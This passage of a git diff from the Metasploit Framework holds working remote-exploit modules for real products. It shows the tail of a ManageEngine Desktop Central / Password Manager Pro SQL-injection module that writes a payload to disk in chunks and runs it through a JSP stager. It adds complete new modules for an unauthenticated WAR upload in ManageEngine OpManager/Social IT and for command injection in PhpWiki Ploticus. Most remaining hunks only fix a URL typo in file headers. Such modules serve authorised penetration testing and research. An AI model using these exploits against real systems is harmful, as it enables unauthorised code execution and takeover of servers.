targets[3]['WebRoot'].dup + else + db_paths[:postgresql] = targets[1]['WebRoot'].dup + db_paths[:mysql] = targets[3]['WebRoot'].dup + end + end + + db_paths + end + + def db_paths + paths = desktop_central_db_paths + + if paths.empty? + paths = password_manager_paths + end + + paths + end + + def pick_mysql_target(mysql_path, rand_txt) + file_path = mysql_path << rand_txt + + # @@version_compile_os will give us Win32 / Win64 if it's a Windows target + inject_sql("select @@version_compile_os into dumpfile '#{file_path}'", "mysql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 + register_file_for_cleanup(file_path.sub('../','')) + if res.body.to_s =~ /Win32/ or res.body.to_s =~ /Win64/ + if mysql_path =~ /DesktopCentral/ + # Desktop Central [MSP] / MySQL / Windows + return targets[3] + else + # Password Manager Pro / MySQL / Windows + return targets[5] + end + else + # Password Manager Pro / MySQL / Linux + return targets[7] + end + end + + nil + end + + def pick_postgres_target(postgresql_path, rand_txt) + file_path = postgresql_path << rand_txt + + # version() will tell us if it's compiled by Visual C++ (Windows) or gcc (Linux) + inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 + register_file_for_cleanup(file_path) + if res.body.to_s =~ /Visual C++/ + if postgresql_path =~ /DesktopCentral_Server/ + # Desktop Central / PostgreSQL / Windows + return targets[1] + elsif postgresql_path =~ /DesktopCentralMSP_Server/ + # Desktop Central MSP / PostgreSQL / Windows + return targets[2] + else + # Password Manager Pro / PostgreSQL / Windows + return targets[4] + end + elsif res.body.to_s =~ /linux/ + # This is for the case when WEB_ROOT is provided + # Password Manager Pro / PostgreSQL / Linux + return targets[6] + end + end + + # OK, it's Password Manager Pro on Linux, probably using PostgreSQL and + # no WEB_ROOT was provided. Let's try one of the defaults before bailing out. + file_path = targets[5]['WebRoot'].dup << rand_txt + inject_sql("copy (select version()) to '#{file_path}'", "postgresql") + + res = send_request_cgi({ + 'uri' => normalize_uri(rand_txt), + 'method' => 'GET' + }) + + if res && res.code == 200 && res.body.to_s =~ /linux/ + # Password Manager Pro / PostgreSQL / Linux + return targets[6] + end + + nil + end + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Selecting target, this might take a few seconds...") + rand_txt = rand_text_alpha_lower(8) << ".txt" + + paths = db_paths + + if paths.empty? + # We don't know what this is, bail + return nil + end + + postgresql_path = paths[:postgresql] + mysql_path = paths[:mysql] + + # try MySQL first, there are probably more of these out there + mysql_target = pick_mysql_target(mysql_path, rand_txt) + + unless mysql_target.nil? + return mysql_target + end + + # didn't work, let's try PostgreSQL + postgresql_target = pick_postgres_target(postgresql_path, rand_txt) + + postgresql_target + end + + # + # Creates the JSP that will assemble the payload on the server + # + def generate_jsp_encoded(files) + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + var_files = rand_text_alpha(rand(8) + 3) + var_ch = rand_text_alpha(rand(8) + 3) + var_istream = rand_text_alpha(rand(8) + 3) + var_file = rand_text_alpha(rand(8) + 3) + + files_decl = "{ " + files.each { |file| files_decl << "\"#{file}\"," } + files_decl[-1] = "}" + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + String[] #{var_files} = #{files_decl}; + try { + int #{var_ch}; + StringBuilder #{var_buf} = new StringBuilder(); + for (String #{var_file} : #{var_files}) { + BufferedInputStream #{var_istream} = + new BufferedInputStream(new FileInputStream(#{var_file})); + while((#{var_ch} = #{var_istream}.read())!= -1) + #{var_buf}.append((char)#{var_ch}); + #{var_istream}.close(); + } + + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + + if @my_target['Database'] == 'postgresql' + # Ruby's base64 encoding adds newlines at every 60 chars, strip them + [jsp].pack("m*").gsub(/\n/, '') + else + # Assuming mysql, applying hex encoding instead + jsp.unpack("H*")[0] + end + end + + + def inject_sql(sqli_command, target = nil) + target = (target == nil) ? @my_target['Database'] : target + if target == 'postgresql' + sqli_prefix = "viewname\";" + sqli_suffix = ";-- " + else + # Assuming mysql + sqli_prefix = "viewname\" union " + sqli_suffix = "#" + end + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("LinkViewFetchServlet.dat"), + 'vars_get' => { + 'sv' => sqli_prefix << sqli_command << sqli_suffix + } + }) + + if target == 'postgresql' + # PostgreSQL sometimes takes a while to write to the disk, so sleep more + sleep(datastore['SLEEP'] * 2.5) + else + # Assuming mysql + sleep(datastore['SLEEP']) + end + end + + # Generate the actual payload + def generate_exe_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + if datastore['EXE_SMALL'] and @my_target['Platform'] == 'win' + exe = Msf::Util::EXE.to_executable_fmt(framework, arch, platform, + payload.encoded, "exe-small", opts) + else + exe = generate_payload_exe(opts) + end + Rex::Text.encode_base64(exe) + end + + # Uploads the payload in chunks + def inject_exec(fullpath) + base64_exe = generate_exe_payload + base64_exe_len = base64_exe.length + + # We will be injecting in CHUNK_SIZE steps + chunk_size = datastore['CHUNK_SIZE'] + copied = 0 + counter = 0 + if base64_exe_len < chunk_size + chunk_size = base64_exe_len + end + chunks = (base64_exe_len.to_f / chunk_size).ceil + time = chunks * datastore['SLEEP'] * + ((@my_target['Database'] == 'postgresql') ? 2.5 : 1) + + # We dump our files in either C:\Windows\system32 or /tmp + # It's not very clean, but when using a MySQL target we have no other choice + # as we are using relative paths for injection. + # The Windows path has to be escaped with 4 backslashes because ruby eats one + # and the JSP eats the other. + files = Array.new(chunks) + files.map! do |file| + if @my_target['Platform'] == 'win' + file = "C:\\\\windows\\\\system32\\\\" + rand_text_alpha(rand(8)+3) + else + # Assuming Linux, let's hope we can write to /tmp + file = "/tmp/" + rand_text_alpha(rand(8)+3) + end + end + + print_status("#{peer} - Payload size is #{base64_exe_len}, injecting #{chunks} chunks in #{time} seconds") + + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") + else + # Assuming mysql + inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") + end + register_file_for_cleanup(files[counter]) + copied += chunk_size + counter += 1 + + while copied < base64_exe_len + if (copied + chunk_size) > base64_exe_len + # Last loop + chunk_size = base64_exe_len - copied + end + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select '#{base64_exe[copied,chunk_size]}') to '#{files[counter]}'") + else + # Assuming mysql + inject_sql("select '#{base64_exe[copied,chunk_size]}' from mysql.user into dumpfile '#{files[counter]}'") + end + register_file_for_cleanup(files[counter]) + copied += chunk_size + counter += 1 + end + + jsp_encoded = generate_jsp_encoded(files) + if @my_target['Database'] == 'postgresql' + inject_sql("copy (select convert_from(decode('#{jsp_encoded}','base64'),'utf8')) to '#{fullpath}'") + else + inject_sql("select 0x#{jsp_encoded} from mysql.user into dumpfile '#{fullpath}'") + end + end + + def check_desktop_central_8(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + if ver_gt(build, '80200') + print_status("#{peer} - Detected Desktop Central v8 #{build}") + else + print_status("#{peer} - Detected Desktop Central v8 #{build} (MySQL)") + end + else + print_status("#{peer} - Detected Desktop Central v8 (MySQL)") + end + # DC v8 < 80200 uses the MySQL database + Exploit::CheckCode::Appears + end + + def check_desktop_central_9(body) + if body =~ /id="buildNum" value="([0-9]+)"\/>/ + build = $1 + print_status("#{peer} - Detected Desktop Central v9 #{build}") + if ver_lt(build, '90039') + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + end + + # Test for Desktop Central + def check_desktop_central + res = send_request_cgi({ + 'uri' => normalize_uri("configurations.do"), + 'method' => 'GET' + }) + + unless res && res.code == 200 + return Exploit::CheckCode::Unknown + end + + if res.body.to_s =~ /ManageEngine Desktop Central 7/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 7/ + # DC v7 uses the MySQL database + print_status("#{peer} - Detected Desktop Central v7 (MySQL)") + return Exploit::CheckCode::Appears + elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 8/ + return check_desktop_central_8(res.body.to_s) + elsif res.body.to_s =~ /ManageEngine Desktop Central 9/ || + res.body.to_s =~ /ManageEngine Desktop Central MSP 9/ + return check_desktop_central_9(res.body.to_s) + end + + Exploit::CheckCode::Unknown + end + + # Test for Password Manager Pro + def check_password_manager_pro + res = send_request_cgi({ + 'uri' => normalize_uri("PassTrixMain.cc"), + 'method' => 'GET' + }) + + if res && res.code == 200 && + res.body.to_s =~ /ManageEngine Password Manager Pro/ && + ( + res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 + res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 + res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 + ) + build = $1 + else + return Exploit::CheckCode::Unknown + end + + + if ver_lt_eq(build, '6500') + # if it's a build below 6500, it will only work if we have a JSP compiler + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (needs a JSP compiler)") + return Exploit::CheckCode::Detected + elsif ver_lt(build, '6800') + # PMP v6 < 6800 uses the MySQL database + print_status("#{peer} - Detected Password Manager Pro v6 #{build} (MySQL)") + return Exploit::CheckCode::Appears + elsif ver_lt(build, '7003') + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + return Exploit::CheckCode::Appears + else + print_status("#{peer} - Detected Password Manager Pro v6 / v7 #{build}") + Exploit::CheckCode::Safe + end + end + + def ver_lt(a, b) + Gem::Version.new(a) < Gem::Version.new(b) + end + + def ver_lt_eq(a, b) + Gem::Version.new(a) <= Gem::Version.new(b) + end + + def ver_gt_eq(a, b) + Gem::Version.new(a) >= Gem::Version.new(b) + end + + def ver_gt(a, b) + Gem::Version.new(a) > Gem::Version.new(b) + end +end diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index da787d5622..a16088a0d2 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index 3c5fe1c5ae..be3bcfea1d 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index fb620413ae..1882bd0b24 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index b73d0ecb50..e90145fc2b 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index acd70eb924..61272300d7 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 900c5a6418..8b06d3c753 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index 43699753d9..6feb8ce2f8 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5b993fb37f..5d52ed78f7 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => %w{ win unix }, 'Targets' => [ - [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win'} ], + [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'} ], [ 'Unix', { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ] ], 'DisclosureDate' => 'Dec 06 2012')) @@ -113,7 +113,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit case target['Platform'] when 'win' - print_status("#{rhost}:#{rport} - Sending VBS stager...") + print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({:linemax=>500}) when 'unix' diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 0ff2944781..2eff3282dc 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index 42b2932835..7d81071631 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index 874e681659..74af22b861 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openmediavault_cmd_exec.rb b/modules/exploits/multi/http/openmediavault_cmd_exec.rb index 2cd82930e9..d2ae980233 100644 --- a/modules/exploits/multi/http/openmediavault_cmd_exec.rb +++ b/modules/exploits/multi/http/openmediavault_cmd_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 62667b859f..1a097fd6bb 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/opmanager_socialit_file_upload.rb b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb new file mode 100644 index 0000000000..088130385f --- /dev/null +++ b/modules/exploits/multi/http/opmanager_socialit_file_upload.rb @@ -0,0 +1,154 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine OpManager and Social IT Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine OpManager and Social IT. + The vulnerability exists in the FileCollector servlet which accepts unauthenticated + file uploads. This module has been tested successfully on OpManager v8.8 - v11.3 and on + version 11.0 of SocialIT for Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6034' ], + [ 'OSVDB', '112276' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_opmanager_socialit_it360.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Sep/110' ] + ], + 'Privileged' => true, + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'OpManager v8.8 - v11.3 / Social IT Plus 11.0 Java Universal', { } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 27 2014')) + + register_options( + [ + Opt::RPORT(80), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for WAR deployment', 15]), + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => normalize_uri("/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector"), + 'method' => 'GET' + }) + + # A GET request on this servlet returns "405 Method not allowed" + if res and res.code == 405 + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Safe + end + + + def upload_war_and_exec(try_again, app_base) + tomcat_path = '../../../tomcat/' + servlet_path = '/servlet/com.me.opmanager.extranet.remote.communication.fw.fe.FileCollector' + + if try_again + # We failed to obtain a shell. Either the target is not vulnerable or the Tomcat configuration + # does not allow us to deploy WARs. Fix that by uploading a new context.xml file. + # The file we are uploading has the same content apart from privileged="false" and lots of XML comments. + # After replacing the context.xml file let's upload the WAR again. + print_status("#{peer} - Replacing Tomcat context file") + send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => %q{WEB-INF/web.xml}, + 'ctype' => 'application/xml', + 'vars_get' => { + 'regionID' => tomcat_path + "conf", + 'FILENAME' => "context.xml" + } + }) + else + # We need to create the upload directories before our first attempt to upload the WAR. + print_status("#{peer} - Creating upload directories") + bogus_file = rand_text_alphanumeric(4 + rand(32 - 4)) + send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => rand_text_alphanumeric(4 + rand(32 - 4)), + 'ctype' => 'application/xml', + 'vars_get' => { + 'regionID' => "", + 'FILENAME' => bogus_file + } + }) + register_files_for_cleanup("state/archivedata/zip/" + bogus_file) + end + + war_payload = payload.encoded_war({ :app_name => app_base }).to_s + + print_status("#{peer} - Uploading WAR file...") + res = send_request_cgi({ + 'uri' => normalize_uri(servlet_path), + 'method' => 'POST', + 'data' => war_payload, + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'regionID' => tomcat_path + "webapps", + 'FILENAME' => app_base + ".war" + } + }) + + # The server either returns a 500 error or a 200 OK when the upload is successful. + if res and (res.code == 500 or res.code == 200) + print_status("#{peer} - Upload appears to have been successful, waiting " + datastore['SLEEP'].to_s + + " seconds for deployment") + sleep(datastore['SLEEP']) + else + fail_with(Exploit::Failure::Unknown, "#{peer} - WAR upload failed") + end + + print_status("#{peer} - Executing payload, wait for session...") + send_request_cgi({ + 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), + 'method' => 'GET' + }) + end + + + def exploit + app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + + upload_war_and_exec(false, app_base) + register_files_for_cleanup("tomcat/webapps/" + "#{app_base}.war") + + sleep_counter = 0 + while not session_created? + if sleep_counter == datastore['SLEEP'] + print_error("#{peer} - Failed to get a shell, let's try one more time") + upload_war_and_exec(true, app_base) + return + end + + sleep(1) + sleep_counter += 1 + end + end +end diff --git a/modules/exploits/multi/http/oracle_reports_rce.rb b/modules/exploits/multi/http/oracle_reports_rce.rb index 30e58cb458..a51b98785f 100644 --- a/modules/exploits/multi/http/oracle_reports_rce.rb +++ b/modules/exploits/multi/http/oracle_reports_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index b115e056f0..5ff2a02952 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 6854cd78bb..642b983080 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index fb087c952d..7a0f6dc859 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index fbba3cb8d2..07e724ebec 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index 5cb26ce8a2..f08271cfe8 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 651e5e8977..1cb52422ab 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 57220832a0..efb8f203b0 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/phpwiki_ploticus_exec.rb b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb new file mode 100644 index 0000000000..6ce71ac09d --- /dev/null +++ b/modules/exploits/multi/http/phpwiki_ploticus_exec.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::PhpEXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Phpwiki Ploticus Remote Code Execution', + 'Description' => %q{ + The Ploticus module in PhpWiki 1.5.0 allows remote attackers to execute arbitrary + code via command injection. + }, + 'Author' => + [ + 'Benjamin Harris', # Discovery and POC + 'us3r777 ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-5519' ], + [ 'OSVDB', '110576' ], + [ 'EDB', '34451'], + [ 'URL', 'https://sourceforge.net/p/phpwiki/code/8974/?page=1' ], # This commit prevents exploitation + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/77' ] # The day the vuln went public + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => + [ + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Sep 11 2014')) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The full URI path to phpwiki', '/phpwiki']) , + ], self.class) + end + + def exploit + uri = target_uri.path + + payload_name = "#{rand_text_alpha(8)}.php" + php_payload = get_write_exec_payload(:unlink_self=>true) + + res = send_request_cgi({ + 'uri' => normalize_uri(uri + '/index.php/HeIp'), + 'method' => 'POST', + 'vars_post' => + { + 'pagename' => 'HeIp', + 'edit[content]' => "< #{payload_name};\" -prefab= -csmap= data= alt= help= >>", + 'edit[preview]' => 'Preview', + 'action' => 'edit' + } + }) + + if not res or res.code != 200 + fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") + end + + upload_uri = normalize_uri(uri + "/" + payload_name) + print_status("#{peer} - Executing payload #{payload_name}") + send_request_raw({ + 'uri' => upload_uri, + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index ac5fb0e31e..f5f16affd2 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 71f21db8f2..69eaf74d1e 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index cc85fcb16b..340e9c6f02 100644 --- 